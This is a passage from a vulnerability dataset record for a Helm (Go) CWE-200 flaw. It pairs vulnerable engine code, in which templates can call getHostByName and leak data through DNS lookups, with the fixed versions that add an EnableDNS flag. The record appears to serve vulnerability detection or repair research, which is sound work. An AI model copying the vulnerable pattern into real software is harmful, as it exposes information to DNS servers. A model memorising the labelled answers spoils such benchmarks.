`getHostByName` function is not being used in a template to disclose any information you do not want passed to DNS servers.", "cwe_info": { "CWE-200": { "name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information." } }, "repo": "https://github.com/helm/helm", "patch_url": [ "https://github.com/helm/helm/commit/5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_49_1", "commit": "5bf273d81ba7da1816a55983fae6a6cf4ca29af2", "file_path": "pkg/engine/engine.go", "start_line": 37, "end_line": 45, "snippet": "type Engine struct {\n\t// If strict is enabled, template rendering will fail if a template references\n\t// a value that was not passed in.\n\tStrict bool\n\t// In LintMode, some 'required' template values may be missing, so don't fail\n\tLintMode bool\n\t// the rest config to connect to the kubernetes api\n\tconfig *rest.Config\n}", "vul_localization": [ { "patch_lines": [ 8 ], "tag": "add" }, { "patch_lines": [ 11 ], "tag": "add" } ] }, { "id": "vul_go_49_2", "commit": "5bf273d81ba7da1816a55983fae6a6cf4ca29af2", "file_path": "pkg/engine/engine.go", "start_line": 107, "end_line": 193, "snippet": "func (e Engine) initFunMap(t *template.Template, referenceTpls map[string]renderable) {\n\tfuncMap := funcMap()\n\tincludedNames := make(map[string]int)\n\n\t// Add the 'include' function here so we can close over t.\n\tfuncMap[\"include\"] = func(name string, data interface{}) (string, error) {\n\t\tvar buf strings.Builder\n\t\tif v, ok := includedNames[name]; ok {\n\t\t\tif v > recursionMaxNums {\n\t\t\t\treturn \"\", errors.Wrapf(fmt.Errorf(\"unable to execute template\"), \"rendering template has a nested reference name: %s\", name)\n\t\t\t}\n\t\t\tincludedNames[name]++\n\t\t} else {\n\t\t\tincludedNames[name] = 1\n\t\t}\n\t\terr := t.ExecuteTemplate(&buf, name, data)\n\t\tincludedNames[name]--\n\t\treturn buf.String(), err\n\t}\n\n\t// Add the 'tpl' function here\n\tfuncMap[\"tpl\"] = func(tpl string, vals chartutil.Values) (string, error) {\n\t\tbasePath, err := vals.PathValue(\"Template.BasePath\")\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"cannot retrieve Template.Basepath from values inside tpl function: %s\", tpl)\n\t\t}\n\n\t\ttemplateName, err := vals.PathValue(\"Template.Name\")\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"cannot retrieve Template.Name from values inside tpl function: %s\", tpl)\n\t\t}\n\n\t\ttemplates := map[string]renderable{\n\t\t\ttemplateName.(string): {\n\t\t\t\ttpl: tpl,\n\t\t\t\tvals: vals,\n\t\t\t\tbasePath: basePath.(string),\n\t\t\t},\n\t\t}\n\n\t\tresult, err := e.renderWithReferences(templates, referenceTpls)\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"error during tpl function execution for %q\", tpl)\n\t\t}\n\t\treturn result[templateName.(string)], nil\n\t}\n\n\t// Add the `required` function here so we can use lintMode\n\tfuncMap[\"required\"] = func(warn string, val interface{}) (interface{}, error) {\n\t\tif val == nil {\n\t\t\tif e.LintMode {\n\t\t\t\t// Don't fail on missing required values when linting\n\t\t\t\tlog.Printf(\"[INFO] Missing required value: %s\", warn)\n\t\t\t\treturn \"\", nil\n\t\t\t}\n\t\t\treturn val, errors.Errorf(warnWrap(warn))\n\t\t} else if _, ok := val.(string); ok {\n\t\t\tif val == \"\" {\n\t\t\t\tif e.LintMode {\n\t\t\t\t\t// Don't fail on missing required values when linting\n\t\t\t\t\tlog.Printf(\"[INFO] Missing required value: %s\", warn)\n\t\t\t\t\treturn \"\", nil\n\t\t\t\t}\n\t\t\t\treturn val, errors.Errorf(warnWrap(warn))\n\t\t\t}\n\t\t}\n\t\treturn val, nil\n\t}\n\n\t// Override sprig fail function for linting and wrapping message\n\tfuncMap[\"fail\"] = func(msg string) (string, error) {\n\t\tif e.LintMode {\n\t\t\t// Don't fail when linting\n\t\t\tlog.Printf(\"[INFO] Fail: %s\", msg)\n\t\t\treturn \"\", nil\n\t\t}\n\t\treturn \"\", errors.New(warnWrap(msg))\n\t}\n\n\t// If we are not linting and have a cluster connection, provide a Kubernetes-backed\n\t// implementation.\n\tif !e.LintMode && e.config != nil {\n\t\tfuncMap[\"lookup\"] = NewLookupFunction(e.config)\n\t}\n\n\tt.Funcs(funcMap)\n}", "vul_localization": [ { "patch_lines": [ 85 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_go_49_1", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/engine/engine.go", "start_line": 37, "end_line": 54, "snippet": "type Engine struct {\n\t// If strict is enabled, template rendering will fail if a template references\n\t// a value that was not passed in.\n\tStrict bool\n\t// In LintMode, some 'required' template values may be missing, so don't fail\n\tLintMode bool\n\t// the rest config to connect to the kubernetes api\n\tconfig *rest.Config\n\t// EnableDNS tells the engine to allow DNS lookups when rendering templates\n\tEnableDNS bool\n}\n\n// New creates a new instance of Engine using the passed in rest config.\nfunc New(config *rest.Config) Engine {\n\treturn Engine{\n\t\tconfig: config,\n\t}\n}" }, { "id": "fix_go_49_2", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/engine/engine.go", "start_line": 116, "end_line": 210, "snippet": "func (e Engine) initFunMap(t *template.Template, referenceTpls map[string]renderable) {\n\tfuncMap := funcMap()\n\tincludedNames := make(map[string]int)\n\n\t// Add the 'include' function here so we can close over t.\n\tfuncMap[\"include\"] = func(name string, data interface{}) (string, error) {\n\t\tvar buf strings.Builder\n\t\tif v, ok := includedNames[name]; ok {\n\t\t\tif v > recursionMaxNums {\n\t\t\t\treturn \"\", errors.Wrapf(fmt.Errorf(\"unable to execute template\"), \"rendering template has a nested reference name: %s\", name)\n\t\t\t}\n\t\t\tincludedNames[name]++\n\t\t} else {\n\t\t\tincludedNames[name] = 1\n\t\t}\n\t\terr := t.ExecuteTemplate(&buf, name, data)\n\t\tincludedNames[name]--\n\t\treturn buf.String(), err\n\t}\n\n\t// Add the 'tpl' function here\n\tfuncMap[\"tpl\"] = func(tpl string, vals chartutil.Values) (string, error) {\n\t\tbasePath, err := vals.PathValue(\"Template.BasePath\")\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"cannot retrieve Template.Basepath from values inside tpl function: %s\", tpl)\n\t\t}\n\n\t\ttemplateName, err := vals.PathValue(\"Template.Name\")\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"cannot retrieve Template.Name from values inside tpl function: %s\", tpl)\n\t\t}\n\n\t\ttemplates := map[string]renderable{\n\t\t\ttemplateName.(string): {\n\t\t\t\ttpl: tpl,\n\t\t\t\tvals: vals,\n\t\t\t\tbasePath: basePath.(string),\n\t\t\t},\n\t\t}\n\n\t\tresult, err := e.renderWithReferences(templates, referenceTpls)\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrapf(err, \"error during tpl function execution for %q\", tpl)\n\t\t}\n\t\treturn result[templateName.(string)], nil\n\t}\n\n\t// Add the `required` function here so we can use lintMode\n\tfuncMap[\"required\"] = func(warn string, val interface{}) (interface{}, error) {\n\t\tif val == nil {\n\t\t\tif e.LintMode {\n\t\t\t\t// Don't fail on missing required values when linting\n\t\t\t\tlog.Printf(\"[INFO] Missing required value: %s\", warn)\n\t\t\t\treturn \"\", nil\n\t\t\t}\n\t\t\treturn val, errors.Errorf(warnWrap(warn))\n\t\t} else if _, ok := val.(string); ok {\n\t\t\tif val == \"\" {\n\t\t\t\tif e.LintMode {\n\t\t\t\t\t// Don't fail on missing required values when linting\n\t\t\t\t\tlog.Printf(\"[INFO] Missing required value: %s\", warn)\n\t\t\t\t\treturn \"\", nil\n\t\t\t\t}\n\t\t\t\treturn val, errors.Errorf(warnWrap(warn))\n\t\t\t}\n\t\t}\n\t\treturn val, nil\n\t}\n\n\t// Override sprig fail function for linting and wrapping message\n\tfuncMap[\"fail\"] = func(msg string) (string, error) {\n\t\tif e.LintMode {\n\t\t\t// Don't fail when linting\n\t\t\tlog.Printf(\"[INFO] Fail: %s\", msg)\n\t\t\treturn \"\", nil\n\t\t}\n\t\treturn \"\", errors.New(warnWrap(msg))\n\t}\n\n\t// If we are not linting and have a cluster connection, provide a Kubernetes-backed\n\t// implementation.\n\tif !e.LintMode && e.config != nil {\n\t\tfuncMap[\"lookup\"] = NewLookupFunction(e.config)\n\t}\n\n\t// When DNS lookups are not enabled override the sprig function and return\n\t// an empty string.\n\tif !e.EnableDNS {\n\t\tfuncMap[\"getHostByName\"] = func(name string) string {\n\t\t\treturn \"\"\n\t\t}\n\t}\n\n\tt.Funcs(funcMap)\n}" }, { "id": "fix_go_49_3", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/upgrade.go", "start_line": 43, "end_line": 108, "snippet": "type Upgrade struct {\n\tcfg *Configuration\n\n\tChartPathOptions\n\n\t// Install is a purely informative flag that indicates whether this upgrade was done in \"install\" mode.\n\t//\n\t// Applications may use this to determine whether this Upgrade operation was done as part of a\n\t// pure upgrade (Upgrade.Install == false) or as part of an install-or-upgrade operation\n\t// (Upgrade.Install == true).\n\t//\n\t// Setting this to `true` will NOT cause `Upgrade` to perform an install if the release does not exist.\n\t// That process must be handled by creating an Install action directly. See cmd/upgrade.go for an\n\t// example of how this flag is used.\n\tInstall bool\n\t// Devel indicates that the operation is done in devel mode.\n\tDevel bool\n\t// Namespace is the namespace in which this operation should be performed.\n\tNamespace string\n\t// SkipCRDs skips installing CRDs when install flag is enabled during upgrade\n\tSkipCRDs bool\n\t// Timeout is the timeout for this operation\n\tTimeout time.Duration\n\t// Wait determines whether the wait operation should be performed after the upgrade is requested.\n\tWait bool\n\t// WaitForJobs determines whether the wait operation for the Jobs should be performed after the upgrade is requested.\n\tWaitForJobs bool\n\t// DisableHooks disables hook processing if set to true.\n\tDisableHooks bool\n\t// DryRun controls whether the operation is prepared, but not executed.\n\t// If `true`, the upgrade is prepared but not performed.\n\tDryRun bool\n\t// Force will, if set to `true`, ignore certain warnings and perform the upgrade anyway.\n\t//\n\t// This should be used with caution.\n\tForce bool\n\t// ResetValues will reset the values to the chart's built-ins rather than merging with existing.\n\tResetValues bool\n\t// ReuseValues will re-use the user's last supplied values.\n\tReuseValues bool\n\t// Recreate will (if true) recreate pods after a rollback.\n\tRecreate bool\n\t// MaxHistory limits the maximum number of revisions saved per release\n\tMaxHistory int\n\t// Atomic, if true, will roll back on failure.\n\tAtomic bool\n\t// CleanupOnFail will, if true, cause the upgrade to delete newly-created resources on a failed update.\n\tCleanupOnFail bool\n\t// SubNotes determines whether sub-notes are rendered in the chart.\n\tSubNotes bool\n\t// Description is the description of this operation\n\tDescription string\n\t// PostRender is an optional post-renderer\n\t//\n\t// If this is non-nil, then after templates are rendered, they will be sent to the\n\t// post renderer before sending to the Kubernetes API server.\n\tPostRenderer postrender.PostRenderer\n\t// DisableOpenAPIValidation controls whether OpenAPI validation is enforced.\n\tDisableOpenAPIValidation bool\n\t// Get missing dependencies\n\tDependencyUpdate bool\n\t// Lock to control raceconditions when the process receives a SIGTERM\n\tLock sync.Mutex\n\t// Enable DNS lookups when rendering templates\n\tEnableDNS bool\n}" }, { "id": "fix_go_49_4", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/upgrade.go", "start_line": 169, "end_line": 263, "snippet": "func (u *Upgrade) prepareUpgrade(name string, chart *chart.Chart, vals map[string]interface{}) (*release.Release, *release.Release, error) {\n\tif chart == nil {\n\t\treturn nil, nil, errMissingChart\n\t}\n\n\t// finds the last non-deleted release with the given name\n\tlastRelease, err := u.cfg.Releases.Last(name)\n\tif err != nil {\n\t\t// to keep existing behavior of returning the \"%q has no deployed releases\" error when an existing release does not exist\n\t\tif errors.Is(err, driver.ErrReleaseNotFound) {\n\t\t\treturn nil, nil, driver.NewErrNoDeployedReleases(name)\n\t\t}\n\t\treturn nil, nil, err\n\t}\n\n\t// Concurrent `helm upgrade`s will either fail here with `errPending` or when creating the release with \"already exists\". This should act as a pessimistic lock.\n\tif lastRelease.Info.Status.IsPending() {\n\t\treturn nil, nil, errPending\n\t}\n\n\tvar currentRelease *release.Release\n\tif lastRelease.Info.Status == release.StatusDeployed {\n\t\t// no need to retrieve the last deployed release from storage as the last release is deployed\n\t\tcurrentRelease = lastRelease\n\t} else {\n\t\t// finds the deployed release with the given name\n\t\tcurrentRelease, err = u.cfg.Releases.Deployed(name)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, driver.ErrNoDeployedReleases) &&\n\t\t\t\t(lastRelease.Info.Status == release.StatusFailed || lastRelease.Info.Status == release.StatusSuperseded) {\n\t\t\t\tcurrentRelease = lastRelease\n\t\t\t} else {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\t// determine if values will be reused\n\tvals, err = u.reuseValues(chart, currentRelease, vals)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tif err := chartutil.ProcessDependencies(chart, vals); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Increment revision count. This is passed to templates, and also stored on\n\t// the release object.\n\trevision := lastRelease.Version + 1\n\n\toptions := chartutil.ReleaseOptions{\n\t\tName: name,\n\t\tNamespace: currentRelease.Namespace,\n\t\tRevision: revision,\n\t\tIsUpgrade: true,\n\t}\n\n\tcaps, err := u.cfg.getCapabilities()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tvaluesToRender, err := chartutil.ToRenderValues(chart, vals, options, caps)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\thooks, manifestDoc, notesTxt, err := u.cfg.renderResources(chart, valuesToRender, \"\", \"\", u.SubNotes, false, false, u.PostRenderer, u.DryRun, u.EnableDNS)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Store an upgraded release.\n\tupgradedRelease := &release.Release{\n\t\tName: name,\n\t\tNamespace: currentRelease.Namespace,\n\t\tChart: chart,\n\t\tConfig: vals,\n\t\tInfo: &release.Info{\n\t\t\tFirstDeployed: currentRelease.Info.FirstDeployed,\n\t\t\tLastDeployed: Timestamper(),\n\t\t\tStatus: release.StatusPendingUpgrade,\n\t\t\tDescription: \"Preparing upgrade\", // This should be overwritten later.\n\t\t},\n\t\tVersion: revision,\n\t\tManifest: manifestDoc.String(),\n\t\tHooks: hooks,\n\t}\n\n\tif len(notesTxt) > 0 {\n\t\tupgradedRelease.Info.Notes = notesTxt\n\t}\n\terr = validateManifest(u.cfg.KubeClient, manifestDoc.Bytes(), !u.DisableOpenAPIValidation)\n\treturn currentRelease, upgradedRelease, err\n}" }, { "id": "fix_go_49_5", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/install.go", "start_line": 66, "end_line": 108, "snippet": "type Install struct {\n\tcfg *Configuration\n\n\tChartPathOptions\n\n\tClientOnly bool\n\tForce bool\n\tCreateNamespace bool\n\tDryRun bool\n\tDisableHooks bool\n\tReplace bool\n\tWait bool\n\tWaitForJobs bool\n\tDevel bool\n\tDependencyUpdate bool\n\tTimeout time.Duration\n\tNamespace string\n\tReleaseName string\n\tGenerateName bool\n\tNameTemplate string\n\tDescription string\n\tOutputDir string\n\tAtomic bool\n\tSkipCRDs bool\n\tSubNotes bool\n\tDisableOpenAPIValidation bool\n\tIncludeCRDs bool\n\t// KubeVersion allows specifying a custom kubernetes version to use and\n\t// APIVersions allows a manual set of supported API Versions to be passed\n\t// (for things like templating). These are ignored if ClientOnly is false\n\tKubeVersion *chartutil.KubeVersion\n\tAPIVersions chartutil.VersionSet\n\t// Used by helm template to render charts with .Release.IsUpgrade. Ignored if Dry-Run is false\n\tIsUpgrade bool\n\t// Enable DNS lookups when rendering templates\n\tEnableDNS bool\n\t// Used by helm template to add the release as part of OutputDir path\n\t// OutputDir/\n\tUseReleaseName bool\n\tPostRenderer postrender.PostRenderer\n\t// Lock to control raceconditions when the process receives a SIGTERM\n\tLock sync.Mutex\n}" }, { "id": "fix_go_49_6", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/install.go", "start_line": 192, "end_line": 357, "snippet": "func (i *Install) RunWithContext(ctx context.Context, chrt *chart.Chart, vals map[string]interface{}) (*release.Release, error) {\n\t// Check reachability of cluster unless in client-only mode (e.g. `helm template` without `--validate`)\n\tif !i.ClientOnly {\n\t\tif err := i.cfg.KubeClient.IsReachable(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif err := i.availableName(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := chartutil.ProcessDependencies(chrt, vals); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Pre-install anything in the crd/ directory. We do this before Helm\n\t// contacts the upstream server and builds the capabilities object.\n\tif crds := chrt.CRDObjects(); !i.ClientOnly && !i.SkipCRDs && len(crds) > 0 {\n\t\t// On dry run, bail here\n\t\tif i.DryRun {\n\t\t\ti.cfg.Log(\"WARNING: This chart or one of its subcharts contains CRDs. Rendering may fail or contain inaccuracies.\")\n\t\t} else if err := i.installCRDs(crds); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif i.ClientOnly {\n\t\t// Add mock objects in here so it doesn't use Kube API server\n\t\t// NOTE(bacongobbler): used for `helm template`\n\t\ti.cfg.Capabilities = chartutil.DefaultCapabilities.Copy()\n\t\tif i.KubeVersion != nil {\n\t\t\ti.cfg.Capabilities.KubeVersion = *i.KubeVersion\n\t\t}\n\t\ti.cfg.Capabilities.APIVersions = append(i.cfg.Capabilities.APIVersions, i.APIVersions...)\n\t\ti.cfg.KubeClient = &kubefake.PrintingKubeClient{Out: ioutil.Discard}\n\n\t\tmem := driver.NewMemory()\n\t\tmem.SetNamespace(i.Namespace)\n\t\ti.cfg.Releases = storage.Init(mem)\n\t} else if !i.ClientOnly && len(i.APIVersions) > 0 {\n\t\ti.cfg.Log(\"API Version list given outside of client only mode, this list will be ignored\")\n\t}\n\n\t// Make sure if Atomic is set, that wait is set as well. This makes it so\n\t// the user doesn't have to specify both\n\ti.Wait = i.Wait || i.Atomic\n\n\tcaps, err := i.cfg.getCapabilities()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// special case for helm template --is-upgrade\n\tisUpgrade := i.IsUpgrade && i.DryRun\n\toptions := chartutil.ReleaseOptions{\n\t\tName: i.ReleaseName,\n\t\tNamespace: i.Namespace,\n\t\tRevision: 1,\n\t\tIsInstall: !isUpgrade,\n\t\tIsUpgrade: isUpgrade,\n\t}\n\tvaluesToRender, err := chartutil.ToRenderValues(chrt, vals, options, caps)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trel := i.createRelease(chrt, vals)\n\n\tvar manifestDoc *bytes.Buffer\n\trel.Hooks, manifestDoc, rel.Info.Notes, err = i.cfg.renderResources(chrt, valuesToRender, i.ReleaseName, i.OutputDir, i.SubNotes, i.UseReleaseName, i.IncludeCRDs, i.PostRenderer, i.DryRun, i.EnableDNS)\n\t// Even for errors, attach this if available\n\tif manifestDoc != nil {\n\t\trel.Manifest = manifestDoc.String()\n\t}\n\t// Check error from render\n\tif err != nil {\n\t\trel.SetStatus(release.StatusFailed, fmt.Sprintf(\"failed to render resource: %s\", err.Error()))\n\t\t// Return a release with partial data so that the client can show debugging information.\n\t\treturn rel, err\n\t}\n\n\t// Mark this release as in-progress\n\trel.SetStatus(release.StatusPendingInstall, \"Initial install underway\")\n\n\tvar toBeAdopted kube.ResourceList\n\tresources, err := i.cfg.KubeClient.Build(bytes.NewBufferString(rel.Manifest), !i.DisableOpenAPIValidation)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to build kubernetes objects from release manifest\")\n\t}\n\n\t// It is safe to use \"force\" here because these are resources currently rendered by the chart.\n\terr = resources.Visit(setMetadataVisitor(rel.Name, rel.Namespace, true))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Install requires an extra validation step of checking that resources\n\t// don't already exist before we actually create resources. If we continue\n\t// forward and create the release object with resources that already exist,\n\t// we'll end up in a state where we will delete those resources upon\n\t// deleting the release because the manifest will be pointing at that\n\t// resource\n\tif !i.ClientOnly && !isUpgrade && len(resources) > 0 {\n\t\ttoBeAdopted, err = existingResourceConflict(resources, rel.Name, rel.Namespace)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"rendered manifests contain a resource that already exists. Unable to continue with install\")\n\t\t}\n\t}\n\n\t// Bail out here if it is a dry run\n\tif i.DryRun {\n\t\trel.Info.Description = \"Dry run complete\"\n\t\treturn rel, nil\n\t}\n\n\tif i.CreateNamespace {\n\t\tns := &v1.Namespace{\n\t\t\tTypeMeta: metav1.TypeMeta{\n\t\t\t\tAPIVersion: \"v1\",\n\t\t\t\tKind: \"Namespace\",\n\t\t\t},\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tName: i.Namespace,\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t\"name\": i.Namespace,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\tbuf, err := yaml.Marshal(ns)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresourceList, err := i.cfg.KubeClient.Build(bytes.NewBuffer(buf), true)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif _, err := i.cfg.KubeClient.Create(resourceList); err != nil && !apierrors.IsAlreadyExists(err) {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// If Replace is true, we need to supercede the last release.\n\tif i.Replace {\n\t\tif err := i.replaceRelease(rel); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// Store the release in history before continuing (new in Helm 3). We always know\n\t// that this is a create operation.\n\tif err := i.cfg.Releases.Create(rel); err != nil {\n\t\t// We could try to recover gracefully here, but since nothing has been installed\n\t\t// yet, this is probably safer than trying to continue when we know storage is\n\t\t// not working.\n\t\treturn rel, err\n\t}\n\trChan := make(chan resultMessage)\n\tdoneChan := make(chan struct{})\n\tdefer close(doneChan)\n\tgo i.performInstall(rChan, rel, toBeAdopted, resources)\n\tgo i.handleContext(ctx, rChan, doneChan, rel)\n\tresult := <-rChan\n\t//start preformInstall go routine\n\treturn result.r, result.e\n}" }, { "id": "fix_go_49_7", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "pkg/action/action.go", "start_line": 106, "end_line": 231, "snippet": "func (cfg *Configuration) renderResources(ch *chart.Chart, values chartutil.Values, releaseName, outputDir string, subNotes, useReleaseName, includeCrds bool, pr postrender.PostRenderer, dryRun, enableDNS bool) ([]*release.Hook, *bytes.Buffer, string, error) {\n\ths := []*release.Hook{}\n\tb := bytes.NewBuffer(nil)\n\n\tcaps, err := cfg.getCapabilities()\n\tif err != nil {\n\t\treturn hs, b, \"\", err\n\t}\n\n\tif ch.Metadata.KubeVersion != \"\" {\n\t\tif !chartutil.IsCompatibleRange(ch.Metadata.KubeVersion, caps.KubeVersion.String()) {\n\t\t\treturn hs, b, \"\", errors.Errorf(\"chart requires kubeVersion: %s which is incompatible with Kubernetes %s\", ch.Metadata.KubeVersion, caps.KubeVersion.String())\n\t\t}\n\t}\n\n\tvar files map[string]string\n\tvar err2 error\n\n\t// A `helm template` or `helm install --dry-run` should not talk to the remote cluster.\n\t// It will break in interesting and exotic ways because other data (e.g. discovery)\n\t// is mocked. It is not up to the template author to decide when the user wants to\n\t// connect to the cluster. So when the user says to dry run, respect the user's\n\t// wishes and do not connect to the cluster.\n\tif !dryRun && cfg.RESTClientGetter != nil {\n\t\trestConfig, err := cfg.RESTClientGetter.ToRESTConfig()\n\t\tif err != nil {\n\t\t\treturn hs, b, \"\", err\n\t\t}\n\t\te := engine.New(restConfig)\n\t\te.EnableDNS = enableDNS\n\t\tfiles, err2 = e.Render(ch, values)\n\t} else {\n\t\tvar e engine.Engine\n\t\te.EnableDNS = enableDNS\n\t\tfiles, err2 = e.Render(ch, values)\n\t}\n\n\tif err2 != nil {\n\t\treturn hs, b, \"\", err2\n\t}\n\n\t// NOTES.txt gets rendered like all the other files, but because it's not a hook nor a resource,\n\t// pull it out of here into a separate file so that we can actually use the output of the rendered\n\t// text file. We have to spin through this map because the file contains path information, so we\n\t// look for terminating NOTES.txt. We also remove it from the files so that we don't have to skip\n\t// it in the sortHooks.\n\tvar notesBuffer bytes.Buffer\n\tfor k, v := range files {\n\t\tif strings.HasSuffix(k, notesFileSuffix) {\n\t\t\tif subNotes || (k == path.Join(ch.Name(), \"templates\", notesFileSuffix)) {\n\t\t\t\t// If buffer contains data, add newline before adding more\n\t\t\t\tif notesBuffer.Len() > 0 {\n\t\t\t\t\tnotesBuffer.WriteString(\"\\n\")\n\t\t\t\t}\n\t\t\t\tnotesBuffer.WriteString(v)\n\t\t\t}\n\t\t\tdelete(files, k)\n\t\t}\n\t}\n\tnotes := notesBuffer.String()\n\n\t// Sort hooks, manifests, and partials. Only hooks and manifests are returned,\n\t// as partials are not used after renderer.Render. Empty manifests are also\n\t// removed here.\n\ths, manifests, err := releaseutil.SortManifests(files, caps.APIVersions, releaseutil.InstallOrder)\n\tif err != nil {\n\t\t// By catching parse errors here, we can prevent bogus releases from going\n\t\t// to Kubernetes.\n\t\t//\n\t\t// We return the files as a big blob of data to help the user debug parser\n\t\t// errors.\n\t\tfor name, content := range files {\n\t\t\tif strings.TrimSpace(content) == \"\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfmt.Fprintf(b, \"---\\n# Source: %s\\n%s\\n\", name, content)\n\t\t}\n\t\treturn hs, b, \"\", err\n\t}\n\n\t// Aggregate all valid manifests into one big doc.\n\tfileWritten := make(map[string]bool)\n\n\tif includeCrds {\n\t\tfor _, crd := range ch.CRDObjects() {\n\t\t\tif outputDir == \"\" {\n\t\t\t\tfmt.Fprintf(b, \"---\\n# Source: %s\\n%s\\n\", crd.Name, string(crd.File.Data[:]))\n\t\t\t} else {\n\t\t\t\terr = writeToFile(outputDir, crd.Filename, string(crd.File.Data[:]), fileWritten[crd.Name])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn hs, b, \"\", err\n\t\t\t\t}\n\t\t\t\tfileWritten[crd.Name] = true\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, m := range manifests {\n\t\tif outputDir == \"\" {\n\t\t\tfmt.Fprintf(b, \"---\\n# Source: %s\\n%s\\n\", m.Name, m.Content)\n\t\t} else {\n\t\t\tnewDir := outputDir\n\t\t\tif useReleaseName {\n\t\t\t\tnewDir = filepath.Join(outputDir, releaseName)\n\t\t\t}\n\t\t\t// NOTE: We do not have to worry about the post-renderer because\n\t\t\t// output dir is only used by `helm template`. In the next major\n\t\t\t// release, we should move this logic to template only as it is not\n\t\t\t// used by install or upgrade\n\t\t\terr = writeToFile(newDir, m.Name, m.Content, fileWritten[m.Name])\n\t\t\tif err != nil {\n\t\t\t\treturn hs, b, \"\", err\n\t\t\t}\n\t\t\tfileWritten[m.Name] = true\n\t\t}\n\t}\n\n\tif pr != nil {\n\t\tb, err = pr.Run(b)\n\t\tif err != nil {\n\t\t\treturn hs, b, notes, errors.Wrap(err, \"error while running post render on files\")\n\t\t}\n\t}\n\n\treturn hs, b, notes, nil\n}" }, { "id": "fix_go_49_8", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "cmd/helm/upgrade.go", "start_line": 70, "end_line": 254, "snippet": "func newUpgradeCmd(cfg *action.Configuration, out io.Writer) *cobra.Command {\n\tclient := action.NewUpgrade(cfg)\n\tvalueOpts := &values.Options{}\n\tvar outfmt output.Format\n\tvar createNamespace bool\n\n\tcmd := &cobra.Command{\n\t\tUse: \"upgrade [RELEASE] [CHART]\",\n\t\tShort: \"upgrade a release\",\n\t\tLong: upgradeDesc,\n\t\tArgs: require.ExactArgs(2),\n\t\tValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n\t\t\tif len(args) == 0 {\n\t\t\t\treturn compListReleases(toComplete, args, cfg)\n\t\t\t}\n\t\t\tif len(args) == 1 {\n\t\t\t\treturn compListCharts(toComplete, true)\n\t\t\t}\n\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n\t\t},\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tclient.Namespace = settings.Namespace()\n\n\t\t\t// Fixes #7002 - Support reading values from STDIN for `upgrade` command\n\t\t\t// Must load values AFTER determining if we have to call install so that values loaded from stdin are are not read twice\n\t\t\tif client.Install {\n\t\t\t\t// If a release does not exist, install it.\n\t\t\t\thistClient := action.NewHistory(cfg)\n\t\t\t\thistClient.Max = 1\n\t\t\t\tif _, err := histClient.Run(args[0]); err == driver.ErrReleaseNotFound {\n\t\t\t\t\t// Only print this to stdout for table output\n\t\t\t\t\tif outfmt == output.Table {\n\t\t\t\t\t\tfmt.Fprintf(out, \"Release %q does not exist. Installing it now.\\n\", args[0])\n\t\t\t\t\t}\n\t\t\t\t\tinstClient := action.NewInstall(cfg)\n\t\t\t\t\tinstClient.CreateNamespace = createNamespace\n\t\t\t\t\tinstClient.ChartPathOptions = client.ChartPathOptions\n\t\t\t\t\tinstClient.Force = client.Force\n\t\t\t\t\tinstClient.DryRun = client.DryRun\n\t\t\t\t\tinstClient.DisableHooks = client.DisableHooks\n\t\t\t\t\tinstClient.SkipCRDs = client.SkipCRDs\n\t\t\t\t\tinstClient.Timeout = client.Timeout\n\t\t\t\t\tinstClient.Wait = client.Wait\n\t\t\t\t\tinstClient.WaitForJobs = client.WaitForJobs\n\t\t\t\t\tinstClient.Devel = client.Devel\n\t\t\t\t\tinstClient.Namespace = 